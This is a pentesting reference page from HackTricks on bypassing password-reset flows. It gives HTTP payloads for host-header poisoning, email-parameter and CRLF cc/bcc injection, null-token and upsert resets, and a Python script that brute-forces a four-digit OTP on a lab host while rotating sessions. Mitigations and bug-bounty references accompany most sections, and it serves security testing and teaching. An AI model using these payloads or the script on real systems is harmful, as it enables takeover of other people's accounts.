reset-password.md (20635B)
1 --- 2 title: "Reset/Forgotten Password Bypass" 3 section: "Web Pentesting" 4 sectionSlug: "pentesting-web" 5 sourcePath: "src/pentesting-web/reset-password.md" 6 sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/pentesting-web/reset-password.md" 7 sha: "188de82beb54e70956b2952367a0af91d26758b8" 8 isIndex: false 9 modified: true 10 license: "CC-BY-NC-4.0" 11 --- 12 13 # Reset/Forgotten Password Bypass 14 15 ## **Password Reset Token Leak Via Referrer** 16 17 - The HTTP referer header may leak the password reset token if it's included in the URL. This can occur when a user clicks on a third-party website link after requesting a password reset. 18 - **Impact**: Potential account takeover if a third party receives and redeems the leaked reset token. 19 - **Exploitation**: To check if a password reset token is leaking in the referer header, **request a password reset** to your email address and **click the reset link** provided. **Do not change your password** immediately. Instead, **navigate to a third-party website** (like Facebook or Twitter) while **intercepting the requests using Burp Suite**. Inspect the requests to see if the **referer header contains the password reset token**, as this could expose sensitive information to third parties.<sup>[[1]](#references)</sup><sup>[[2]](#references)</sup><sup>[[3]](#references)</sup> 20 21 ## **Password Reset Poisoning** 22 23 - Attackers may manipulate the Host header during password reset requests to point the reset link to a malicious site. 24 - **Impact**: Leads to potential account takeover by leaking reset tokens to attackers.<sup>[[4]](#references)</sup> 25 - **Exploitation tips**: 26 - Test not only `Host`, but also override headers such as `X-Forwarded-Host`, `Forwarded`, `X-Host`, and `X-Original-Host`. Reverse proxies and middleware sometimes build the reset URL from those values instead of from the canonical host. 27 - If the reset request contains parameters such as `baseurl`, `return_to`, `redirect_uri`, `redirect_url`, `next`, or a tenant/domain selector, point them to an attacker-controlled host and inspect the email template. 28 - Try the poisoning payload on the first request **and** on "resend reset link" endpoints. In several real cases only one of the two paths was vulnerable. 29 - **Mitigation Steps**: 30 - Validate the Host header against an allow-list of permitted domains. 31 - Use secure, server-side methods to generate absolute URLs. 32 - **Patch**: Use `$_SERVER['SERVER_NAME']` to construct password reset URLs instead of `$_SERVER['HTTP_HOST']`. 33 34 ## **Password Reset By Manipulating Email Parameter** 35 36 Attackers can manipulate the password reset request by adding additional email parameters to divert the reset link.<sup>[[5]](#references)</sup><sup>[[6]](#references)</sup><sup>[[7]](#references)</sup><sup>[[8]](#references)</sup> 37 38 - Add attacker email as second parameter using & 39 40 ```php 41 POST /resetPassword 42 [...] 43 email=victim@email.com&email=attacker@email.com 44 ``` 45 46 - Add attacker email as second parameter using %20 47 48 ```php 49 POST /resetPassword 50 [...] 51 email=victim@email.com%20email=attacker@email.com 52 ``` 53 54 - Add attacker email as second parameter using | 55 56 ```php 57 POST /resetPassword 58 [...] 59 email=victim@email.com|email=attacker@email.com 60 ``` 61 62 - Add attacker email as second parameter using cc 63 64 ```php 65 POST /resetPassword 66 [...] 67 email="victim@mail.tld%0a%0dcc:attacker@mail.tld" 68 ``` 69 70 - Add attacker email as second parameter using bcc 71 72 ```php 73 POST /resetPassword 74 [...] 75 email="victim@mail.tld%0a%0dbcc:attacker@mail.tld" 76 ``` 77 78 - Add attacker email as second parameter using , 79 80 ```php 81 POST /resetPassword 82 [...] 83 email="victim@mail.tld",email="attacker@mail.tld" 84 ``` 85 86 - Add attacker email as second parameter in json array 87 88 ```php 89 POST /resetPassword 90 [...] 91 {"email":["victim@mail.tld","attacker@mail.tld"]} 92 ``` 93 94 - Convert a normal form submission to JSON and try nested arrays/objects (some frameworks type-coerce a single-recipient field into multiple recipients) 95 96 ```json 97 { 98 "user": { 99 "email": ["victim@mail.tld", "attacker@mail.tld"] 100 } 101 } 102 ``` 103 104 - Try framework-specific multi-value formats 105 106 ```http 107 POST /resetPassword HTTP/1.1 108 Content-Type: application/x-www-form-urlencoded 109 110 email[]=victim@mail.tld&email[]=attacker@mail.tld 111 ``` 112 113 - Also try comma-separated values inside a single string (`victim@mail.tld,attacker@mail.tld`) and content-type conversions (`x-www-form-urlencoded` -> JSON, `multipart/form-data` -> JSON) because some mailers or validators split recipients late in the pipeline. 114 - **Mitigation Steps**: 115 - Properly parse and validate email parameters server-side. 116 - Reject arrays / repeated parameters when a single recipient is expected. 117 - Cast the final recipient to a string before passing it to the mailer and re-validate after any normalization step. 118 119 ## **Changing the Email and Password of Any User Through API Parameters** 120 121 - Attackers can modify email and password parameters in API requests to change account credentials.<sup>[[9]](#references)</sup> 122 123 ```php 124 POST /api/changepass 125 [...] 126 ("form": {"email":"victim@email.tld","password":"12345678"}) 127 ``` 128 129 - **Mitigation Steps**: 130 - Ensure strict parameter validation and authentication checks. 131 - Implement robust logging and monitoring to detect and respond to suspicious activities. 132 133 ## **No Rate Limiting: Email Bombing** 134 135 - Lack of rate limiting on password reset requests can lead to email bombing, overwhelming the user with reset emails.<sup>[[10]](#references)</sup> 136 - **Mitigation Steps**: 137 - Implement rate limiting based on IP address or user account. 138 - Use CAPTCHA challenges to prevent automated abuse. 139 140 ## **Find out How Password Reset Token is Generated** 141 142 - Understanding the pattern or method behind token generation can lead to predicting or brute-forcing tokens. Some options: 143 - Based Timestamp 144 - Based on the UserID 145 - Based on email of User 146 - Based on Firstname and Lastname 147 - Based on Date of Birth 148 - Based on Cryptography 149 - Also request several reset links in parallel and compare them. Identical tokens, deterministic increments, or "one-time" links that remain valid after first use usually indicate a race condition or a state machine bug. 150 - **Mitigation Steps**: 151 - Use strong, cryptographic methods for token generation. 152 - Ensure sufficient randomness and length to prevent predictability. 153 - **Tools**: Use Burp Sequencer to analyze the randomness of tokens, and Turbo Intruder / Burp Repeater group-send to test parallel issuance and reuse. 154 155 [Race Condition](/hacktricks/pentesting-web/race-condition) 156 157 ## **Guessable UUID** 158 159 - If UUIDs (version 1) are guessable or predictable, attackers may brute-force them to generate valid reset tokens. Check: 160 161 162 [Uuid Insecurities](/hacktricks/pentesting-web/uuid-insecurities) 163 164 - **Mitigation Steps**: 165 - Use GUID version 4 for randomness or implement additional security measures for other versions. 166 - **Tools**: Use [guidtool](https://github.com/intruder-io/guidtool) for analyzing and generating GUIDs. 167 168 ## **Response Manipulation: Replace Bad Response With Good One** 169 170 - Manipulating HTTP responses to bypass error messages or restrictions.<sup>[[11]](#references)</sup> 171 - **Mitigation Steps**: 172 - Implement server-side checks to ensure response integrity. 173 - Use secure communication channels like HTTPS to prevent man-in-the-middle attacks. 174 175 ## **Using Expired Token** 176 177 - Testing whether expired tokens can still be used for password reset. 178 - Check both the final reset endpoint and any intermediate "validate token" endpoint. Some applications reject the token on the UI step but still accept it on the JSON/API step that actually changes the password. 179 - **Mitigation Steps**: 180 - Implement strict token expiration policies and validate token expiry server-side. 181 182 ## **Race / Reuse of One-Time Reset Tokens** 183 184 - Some applications invalidate reset tokens only after the password update finishes, or only in one worker/process. This makes supposedly one-time links reusable when the same token is submitted concurrently. 185 - Practical checks: 186 - Open the same reset link in two browsers and submit both almost at the same time. 187 - Send two `POST /reset` requests in parallel with the same token but different passwords. 188 - Complete the password change once, then replay the exact final request before following any redirect chain. 189 - If two different passwords are accepted or the same token works twice, you likely found a race condition in token invalidation. 190 - **Mitigation Steps**: 191 - Invalidate the token atomically before or during the password update transaction. 192 - Ensure the token is single-use across all workers and replicas. 193 194 ## **Brute Force Password Reset Token** 195 196 - Attempting to brute-force the reset token using tools like Burpsuite and IP-Rotator to bypass IP-based rate limits. 197 - **Mitigation Steps**: 198 - Implement robust rate-limiting and account lockout mechanisms. 199 - Monitor for suspicious activities indicative of brute-force attacks. 200 201 ## **Try Using Your Token** 202 203 - Testing if an attacker's reset token can be used in conjunction with the victim's email.<sup>[[12]](#references)</sup> 204 - This usually appears when the application validates the token and the target account independently. Typical vulnerable patterns: 205 - Step 1 (`/forgot-password`) issues a token tied to the attacker account. 206 - Step 2 (`/reset-password`) accepts both `token` and `email` / `userId` / `username` from the client. 207 - The backend checks that the token exists, but uses the attacker-controlled identifier to decide **which** password to change. 208 - Practical mutations to test: 209 - Keep your valid token but replace `email`, `userId`, `username`, `login`, or `accountId` with the victim's value. 210 - Move the token between query string, JSON body, and headers while changing the victim identifier in the other location. 211 - If the reset page first calls a "validate token" endpoint and then a separate "change password" endpoint, change the victim identifier only in the second request. 212 - **Mitigation Steps**: 213 - Bind the token to the account on the server side and derive the target user exclusively from that token. 214 - Do not trust any account identifier submitted alongside the token unless it matches the token owner. 215 216 ## **Password Reset Token Disclosure in API Responses** 217 218 - Some APIs return the reset token (`resetToken`, `tempToken`, `recoveryCode`) directly in the forgot-password response or in a secondary polling/debug endpoint.<sup>[[13]](#references)</sup> 219 - This is usually an immediate ATO: trigger a reset for the victim, capture the token from the API response, then call the final reset endpoint without mailbox access. 220 - Also inspect GraphQL responses, mobile APIs, websocket notifications, batch endpoints, and verbose error messages for leaked token values or token expiry metadata. 221 222 ```http 223 POST /api/v1/account/forgot-password HTTP/1.1 224 Content-Type: application/json 225 226 {"email":"victim@example.com"} 227 228 HTTP/1.1 200 OK 229 Content-Type: application/json 230 231 {"tempToken":"4f89...","tokenExpiry":"<expiry-timestamp>","user":{"email":"victim@example.com"}} 232 ``` 233 234 ## **Missing "token was generated" check** 235 236 - A subtle variant appears when the reset endpoint compares the attacker-supplied token with the value stored in the database, but never verifies that a reset flow was actually started. 237 - If the default stored value is `NULL` or an empty string, try sending `null`, `""`, omitting the field entirely, or using the string `"null"`. 238 - This bug is especially interesting on recently created accounts or on accounts where the application initializes `tokenExpiry` during account creation instead of during the reset flow. 239 240 ```json 241 { 242 "user": { 243 "email": "victim@example.com", 244 "tempToken": null, 245 "password": "NewP@ssw0rd!" 246 } 247 } 248 ``` 249 250 - **Mitigation Steps**: 251 - Ensure that tokens are bound to the user session or other user-specific attributes. 252 - Reject reset attempts unless the server recorded a live reset request for that account. 253 254 ## **Session Invalidation in Logout/Password Reset** 255 256 - Ensuring that sessions are invalidated when a user logs out or resets their password. 257 - **Mitigation Steps**: 258 - Implement proper session management, ensuring that all sessions are invalidated upon logout or password reset. 259 260 ## **Reset Token Expiration** 261 262 - Reset tokens should have an expiration time after which they become invalid. 263 - **Mitigation Steps**: 264 - Set a reasonable expiration time for reset tokens and strictly enforce it server-side. 265 266 ## **OTP rate limit bypass by changing your session** 267 268 - If the site tracks failed OTP attempts only in the current session and uses a weak OTP (four digits or fewer), rotating the session may bypass the attempt counter and enable brute force. 269 - **exploitation**: 270 - just request a new session token after getting blocked by the server. 271 - **Example** code that exploits this bug by randomly guessing the OTP (when you change the session the OTP will change as well, and so we will not be able to sequentially bruteforce it!): 272 273 ``` python 274 # Authentication bypass by password reset 275 # by coderMohammed 276 import requests 277 import random 278 from time import sleep 279 280 headers = { 281 "User-Agent": "Mozilla/5.0 (iPhone14,3; U; CPU iPhone OS 15_0 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) Version/10.0 Mobile/19A346 Safari/602.1", 282 "Cookie": "PHPSESSID=mrerfjsol4t2ags5ihvvb632ea" 283 } 284 url = "http://10.10.12.231:1337/reset_password.php" 285 logout = "http://10.10.12.231:1337/logout.php" 286 root = "http://10.10.12.231:1337/" 287 288 parms = dict() 289 ter = 0 290 phpsessid = "" 291 292 print("[+] Starting attack!") 293 sleep(3) 294 print("[+] This might take around 5 minutes to finish!") 295 296 try: 297 while True: 298 parms["recovery_code"] = f"{random.randint(0, 9999):04}" # random number from 0 - 9999 with 4 d 299 parms["s"] = 164 # not important it only efects the frontend 300 res = requests.post(url, data=parms, allow_redirects=True, verify=False, headers=headers) 301 302 if ter == 8: # follow number of trails 303 out = requests.get(logout,headers=headers) # log u out 304 mainp = requests.get(root) # gets another phpssid (token) 305 306 cookies = out.cookies # extract the sessionid 307 phpsessid = cookies.get('PHPSESSID') 308 headers["cookies"]=f"PHPSESSID={phpsessid}" #update the headers with new session 309 310 reset = requests.post(url, data={"email":"tester@hammer.thm"}, allow_redirects=True, verify=False, headers=headers) # sends the email to change the password for 311 ter = 0 # reset ter so we get a new session after 8 trails 312 else: 313 ter += 1 314 if(len(res.text) == 2292): # this is the length of the page when u get the recovery code correctly (got by testing) 315 print(len(res.text)) # for debug info 316 print(phpsessid) 317 318 reset_data = { # here we will change the password to somthing new 319 "new_password": "D37djkamd!", 320 "confirm_password": "D37djkamd!" 321 } 322 reset2 = requests.post(url, data=reset_data, allow_redirects=True, verify=False, headers=headers) 323 324 print("[+] Password has been changed to:D37djkamd!") 325 break 326 except Exception as e: 327 print("[+] Attck stopped") 328 ``` 329 330 ## Arbitrary password reset via skipOldPwdCheck (pre-auth) 331 332 Some implementations expose a password change action that calls the password-change routine with skipOldPwdCheck=true and does not verify any reset token or ownership. If the endpoint accepts an action parameter like change_password and a username/new password in the request body, an attacker can reset arbitrary accounts pre-auth.<sup>[[14]](#references)</sup> 333 334 Vulnerable pattern (PHP): 335 336 ```php 337 // hub/rpwd.php 338 RequestHandler::validateCSRFToken(); 339 $RP = new RecoverPwd(); 340 $RP->process($_REQUEST, $_POST); 341 342 // modules/Users/RecoverPwd.php 343 if ($request['action'] == 'change_password') { 344 $body = $this->displayChangePwd($smarty, $post['user_name'], $post['confirm_new_password']); 345 } 346 347 public function displayChangePwd($smarty, $username, $newpwd) { 348 $current_user = CRMEntity::getInstance('Users'); 349 $current_user->id = $current_user->retrieve_user_id($username); 350 // ... criteria checks omitted ... 351 $current_user->change_password('oldpwd', $_POST['confirm_new_password'], true, true); // skipOldPwdCheck=true 352 emptyUserAuthtokenKey($this->user_auth_token_type, $current_user->id); 353 } 354 ``` 355 356 Exploitation request (concept): 357 358 ```http 359 POST /hub/rpwd.php HTTP/1.1 360 Content-Type: application/x-www-form-urlencoded 361 362 action=change_password&user_name=admin&confirm_new_password=NewP@ssw0rd! 363 ``` 364 365 Mitigations: 366 - Always require a valid, time-bound reset token bound to the account and session before changing a password. 367 - Never expose skipOldPwdCheck paths to unauthenticated users; enforce authentication for regular password changes and verify the old password. 368 - Invalidate all active sessions and reset tokens after a password change. 369 370 ## Registration-as-Password-Reset (Upsert on Existing Email) 371 372 Some applications implement the signup handler as an upsert. If the email already exists, the handler silently updates the user record instead of rejecting the request. When the registration endpoint accepts a minimal JSON body with an existing email and a new password, it effectively becomes a pre-auth password reset without any ownership verification allowing full account takeover.<sup>[[15]](#references)</sup> 373 374 Pre-auth ATO PoC (overwriting an existing user's password): 375 376 ```http 377 POST /parents/application/v4/admin/doRegistrationEntries HTTP/1.1 378 Host: www.target.tld 379 Content-Type: application/json 380 381 {"email":"victim@example.com","password":"New@12345"} 382 ``` 383 384 385 ## References 386 387 - [1] [HackerOne Report 342693](https://hackerone.com/reports/342693) 388 - [2] [HackerOne Report 272379](https://hackerone.com/reports/272379) 389 - [3] [Toyota's Password Reset Token and Email Address Leak via Referer Header](https://medium.com/@rubiojhayz1234/toyotas-password-reset-token-and-email-address-leak-via-referer-header-b0ede6507c6a) 390 - [4] [Acunetix Article on Password Reset Poisoning](https://www.acunetix.com/blog/articles/password-reset-poisoning/) 391 - [5] [readme.com Account Takeover Bugbounty Full Disclosure](https://medium.com/@0xankush/readme-com-account-takeover-bugbounty-fulldisclosure-a36ddbe915be) 392 - [6] [How I Was Able to Earn $1000 with Just 10 Minutes of Bug Bounty](https://ninadmathpati.com/2019/08/17/how-i-was-able-to-earn-1000-with-just-10-minutes-of-bug-bounty/) 393 - [7] [@HusseiN98D Twitter thread on password reset email parameter bypass](https://twitter.com/HusseiN98D/status/1254888748216655872) 394 - [8] [GitLab Critical Security Release: 16.7.2, 16.6.4, 16.5.6 (CVE-2023-7028)](https://docs.gitlab.com/releases/patches/patch-release-gitlab-16-7-2-released/) 395 - [9] [Full Account Takeover via API Parameter Manipulation](https://medium.com/@adeshkolte/full-account-takeover-changing-email-and-password-of-any-user-through-api-parameters-3d527ab27240) 396 - [10] [HackerOne Report 280534](https://hackerone.com/reports/280534) 397 - [11] [Critical Bug in Live Bug Bounty Event](https://medium.com/@innocenthacker/how-i-found-the-most-critical-bug-in-live-bug-bounty-event-7a88b3aa97b3) 398 - [12] [10 Password Reset Flaws – #10 Try Using Your Token](https://anugrahsr.github.io/posts/10-Password-reset-flaws/#10-try-using-your-token) 399 - [13] [Critical: Unauthenticated Password Reset Token Disclosure Leading to Account Takeover in Flowise Cloud and Local Deployments](https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-wgpv-6j63-x5ph) 400 - [14] [VTENEXT 25.02 – A Three-Way Path to RCE](https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/) 401 - [15] [How I Found a Critical Password Reset Bug (Registration upsert ATO)](https://s41n1k.medium.com/how-i-found-a-critical-password-reset-bug-in-the-bb-program-and-got-4-000-a22fffe285e1)